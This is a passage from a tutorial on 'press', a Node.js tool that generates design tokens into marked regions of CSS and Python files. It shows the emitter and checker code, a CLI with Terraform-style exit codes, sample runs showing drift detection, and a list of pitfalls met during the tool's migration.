// here sorts last instead of being dropped, so a token added to tokens.json
// always reaches every consumer.
const ORDER = ['paper', 'ink', 'accent'];
const rank = (k) => (ORDER.indexOf(k) === -1 ? ORDER.length : ORDER.indexOf(k));

const flatten = (tokens) =>
  Object.entries({ ...tokens.colors, ...tokens.fonts }).sort(
    ([a], [b]) => rank(a) - rank(b) || a.localeCompare(b),
  );

function cssVars(tokens, params) {
  const selector = params.selector ?? ':root';
  const alias = params.alias ?? {};
  const body = flatten(tokens).map(([k, v]) => `  --${alias[k] ?? k}: ${v};`);
  return [`${selector} {`, ...body, '}'].join('\n');
}

function pythonDict(tokens, params) {
  const name = params.name ?? 'THEME';
  const body = flatten(tokens).map(([k, v]) => `    ${JSON.stringify(k)}: ${JSON.stringify(v)},`);
  return [`${name} = {`, ...body, '}'].join('\n');
}

export const EMITTERS = { 'css-vars': cssVars, 'python-dict': pythonDict };

// Same inputs, same bytes; that is what lets `check` re-derive what should be
// on disk.
export function emitBody(tokens, emitter, params = {}) {
  const fn = EMITTERS[emitter];
  if (!fn) {
    throw new EmitError(
      `unknown emitter "${emitter}" (expected one of: ${Object.keys(EMITTERS).join(', ')})`,
    );
  }
  return fn(tokens, params);
}

The gate: re-derive and compare

Now the part that earns the whole design. check regenerates what each region should contain and compares it to what’s on disk, and it has to fail on more than the obvious case. Save this as check.mjs.

import { existsSync, readFileSync } from 'node:fs';
import { join } from 'node:path';
import { emitBody } from './emit.mjs';
import { findRegion, RegionError } from './region.mjs';

export const EXPLAIN = {
  ok: 'in sync',
  drift: 'region content differs from what the tokens produce',
  'stale-version': 'values are correct but the region records an older release',
  missing: 'file has no region; the generated block was removed',
  absent: 'declared file does not exist at this path',
  corrupt: 'region markers are malformed',
};

export function checkTarget(target, root, tokens, version) {
  const path = join(root, target.path);
  if (!existsSync(path)) return { target, path, status: 'absent' };
  const text = readFileSync(path, 'utf8');

  let found;
  try {
    found = findRegion(text, target.region, target.syntax);
  } catch (err) {
    if (err instanceof RegionError) return { target, path, status: 'corrupt', detail: err.message };
    throw err;
  }
  if (!found) return { target, path, status: 'missing' };

  const expected = emitBody(tokens, target.emitter, target.params).replace(/\s+$/, '');
  const actual = found.body.replace(/\s+$/, '');
  if (expected !== actual) {
    return { target, path, status: 'drift', diff: lineDiff(expected, actual) };
  }
  // The values match, but the region must also record the release it belongs
  // to. Skip this and the version in the marker is decoration.
  if (found.version !== version) {
    return { target, path, status: 'stale-version', writtenBy: found.version };
  }
  return { target, path, status: 'ok', writtenBy: found.version };
}

export function checkAll({ tokens, targets, root, version }) {
  const selected = targets.filter((t) => existsSync(join(root, t.path)));
  const results = selected.map((t) => checkTarget(t, root, tokens, version));
  const failures = results.filter((r) => r.status !== 'ok');
  return {
    results,
    failures,
    // A run that resolved ZERO targets is itself a failure. A glob that
    // quietly matches nothing must go red; that is how a gate turns decorative.
    empty: selected.length === 0,
    ok: selected.length > 0 && failures.length === 0,
  };
}

// Elide the common prefix and suffix so a one-token change reads as one line.
export function lineDiff(expected, actual) {
  const a = expected.split('\n');
  const b = actual.split('\n');
  let head = 0;
  while (head < a.length && head < b.length && a[head] === b[head]) head += 1;
  let tail = 0;
  while (
    tail < a.length - head && tail < b.length - head &&
    a[a.length - 1 - tail] === b[b.length - 1 - tail]
  ) tail += 1;
  const out = [];
  if (head) out.push(`  ... ${head} identical line${head === 1 ? '' : 's'}`);
  for (const l of b.slice(head, b.length - tail)) out.push(`- ${l}`);
  for (const l of a.slice(head, a.length - tail)) out.push(`+ ${l}`);
  if (tail) out.push(`  ... ${tail} identical line${tail === 1 ? '' : 's'}`);
  return out.join('\n');
}

missing and empty are the two statuses people leave out, and they’re the two that decide whether the gate is real. A consumer that dropped its markers but kept the values would otherwise pass forever while checking nothing, and a registry whose paths all stopped resolving would report a clean run over zero files.

The exit code follows Terraform’s convention for the same reason. terraform plan -detailed-exitcode distinguishes 0 for an empty diff, 1 for an error, and 2 for changes present, which lets a pipeline tell “your config is broken” apart from “your world drifted.” Wire the CLI up as press.mjs:

#!/usr/bin/env node
import { readFileSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { emitBody } from './emit.mjs';
import { initRegion, spliceRegion } from './region.mjs';
import { checkAll, EXPLAIN } from './check.mjs';

const VERSION = '0.1.0';
const root = process.cwd();
const tokens = JSON.parse(readFileSync(join(root, 'tokens.json'), 'utf8'));
const targets = JSON.parse(readFileSync(join(root, 'targets.json'), 'utf8')).targets;

const [cmd, ...rest] = process.argv.slice(2);
const init = rest.includes('--init');

if (cmd === 'emit') {
  for (const t of targets) {
    const path = join(root, t.path);
    const before = readFileSync(path, 'utf8');
    const body = emitBody(tokens, t.emitter, t.params);
    const after = init
      ? initRegion(before, t.region, t.syntax, body, VERSION, t.init)
      : spliceRegion(before, t.region, t.syntax, body, VERSION);
    writeFileSync(path, after);
    console.log(`${after === before ? 'unchanged' : 'wrote'}  ${t.id}  ${t.path}`);
  }
} else if (cmd === 'check') {
  const { results, ok, empty } = checkAll({ tokens, targets, root, version: VERSION });
  for (const r of results) {
    console.log(`${r.status === 'ok' ? 'ok  ' : 'FAIL'}  ${r.target.id}  ${EXPLAIN[r.status]}`);
    if (r.diff) console.log(r.diff.replace(/^/gm, '        '));
  }
  if (empty) console.log('FAIL  no targets resolved in this checkout');
  process.exit(ok ? 0 : 2);
} else {
  console.error('usage: press.mjs <emit|check> [--init]');
  process.exit(1);
}

Run it

Create the two consumer files with their existing hand-written copies still in place, so you can watch the migration take them over. Note the parts of each file that have nothing to do with tokens; those are what you’re protecting.

mkdir -p site report
cat > site/brand.css <<'EOF'
/* The site's stylesheet. Mostly hand-written, medium-specific work. */
:root {
  --paper: #F5F1E8;
  --ink: #1A1A1A;
  --sig: #FF6B35;
}

.masthead {
  background: var(--paper);
  color: var(--ink);
  border-bottom: 2px solid var(--sig);
}

/* Hand-written and load-bearing: a whole-file sync would erase this. */
.masthead__avatar {
  width: 44px;
  border-radius: 50%;
}
EOF
cat > report/brand.py <<'EOF'
"""The report renderer's theme. Hand-written except for the token block."""

THEME = {
    "paper": "#F5F1E8",
    "ink": "#1A1A1A",
    "accent": "#FF6B35",
}


def page_margins(paper_size):
    """Medium-specific work that has no business in a shared token file."""
    return {"letter": (54, 54), "a4": (57, 51)}[paper_size]
EOF

node press.mjs emit --init
cat site/brand.css

The migration swallows each legacy block and leaves everything else alone:

wrote  site-css  site/brand.css
wrote  report-py  report/brand.py
/* The site's stylesheet. Mostly hand-written, medium-specific work. */
/* >>> tokens:vars v0.1.0 sha256:de15320eccba GENERATED, do not edit */
:root {
  --paper: #F5F1E8;
  --ink: #1A1A1A;
  --sig: #FF6B35;
  --display: Inter, system-ui, sans-serif;
}
/* <<< tokens:vars */

.masthead {
  background: var(--paper);
  color: var(--ink);
  border-bottom: 2px solid var(--sig);
}

/* Hand-written and load-bearing: a whole-file sync would erase this. */
.masthead__avatar {
  width: 44px;
  border-radius: 50%;
}

The avatar rule survived, and --display arrived even though the hand-written copy never had it. Now change a token without re-emitting, which is the thing you actually want CI to catch:

sed -i '' 's/#FF6B35/#E8590C/' tokens.json   # GNU sed: drop the ''
node press.mjs check; echo "exit: $?"

FAIL  site-css  region content differs from what the tokens produce
          ... 3 identical lines
        -   --sig: #FF6B35;
        +   --sig: #E8590C;
          ... 2 identical lines
FAIL  report-py  region content differs from what the tokens produce
          ... 3 identical lines
        -     "accent": "#FF6B35",
        +     "accent": "#E8590C",
          ... 2 identical lines
exit: 2

One token moved and both consumers reported it, in their own syntax, pointing at the exact line. node press.mjs emit puts them back in sync and check returns 0. Then try the two failures that only exist because you wrote them: strip the marker comments out of site/brand.css while leaving the values, and check reports missing rather than passing. Run the same CLI in a directory where none of the target paths exist, and it reports that zero targets resolved instead of a clean green run.

Those two statuses cost about six lines between them, and without either one the gate can report a clean run while inspecting nothing.

Gotchas

A sort key that’s quietly a filter. You’ll want deterministic output ordering, and the natural way to get it is to iterate a list of known token names. The trap is that the list then decides membership too. Symptom: you add a value to the token file, no consumer ever receives it, and the checker still reports green because the emitter and the gate agree on the same wrong answer. The escape is to rank unknown names last rather than dropping them, and to pin a test asserting that a token absent from the order list still shows up in the output. This one was caught during the press migration itself.

Generating the whole file eats hand-written work. Whole-file generation looks cleaner until a consumer file has anything personal in it. Symptom: a hand-written block vanishes during a routine sync and nobody notices until it’s shipped, which is how a personal avatar footer disappeared from a card stylesheet before press existed. The escape is the region: own the block, never the file, and make the tool throw rather than append when the region is absent.

The version in the marker is decoration until the checker compares it. Writing a version into the start marker feels like it makes the region self-describing, but if check compares only the body bytes then a region whose values happen to still be correct will pass at any age. This bit press directly: in-repo regions sat recording v0.1.0 through six subsequent releases with a green tick. The fix in 0.7.1 was to give a version mismatch its own status, stale-version, separate from drift, so it reports and prints the re-emit command instead of silently passing.

File presence is not repository identity. Selecting targets by “does this path exist under the repo root” works fine until a target’s path is something every repository has. Symptom: press added README.md targets in 0.7.0, and because README.md exists everywhere, those targets selected inside any checkout and would have been compared against a completely unrelated file. The escape is to read the checkout’s own origin remote and match it against the target’s declared repo, falling back to presence only when there is no remote, which is the case inside a test’s temp directory.

Sources

ansible.builtin.blockinfile module — the marked-block pattern and why a marker without a {mark} placeholder re-inserts instead of updating
go generate documentation — the ^// Code generated .* DO NOT EDIT\.$ convention and its placement rule
Terraform plan command — -detailed-exitcode and the 0/1/2 split this gate’s exit codes follow
Design Tokens Format Module — the standardized JSON shape for tokens meant to move between tools

Changelog

feat(press): one brand system, generated into every consumer (0.1.0) (#115) (3f3c26d)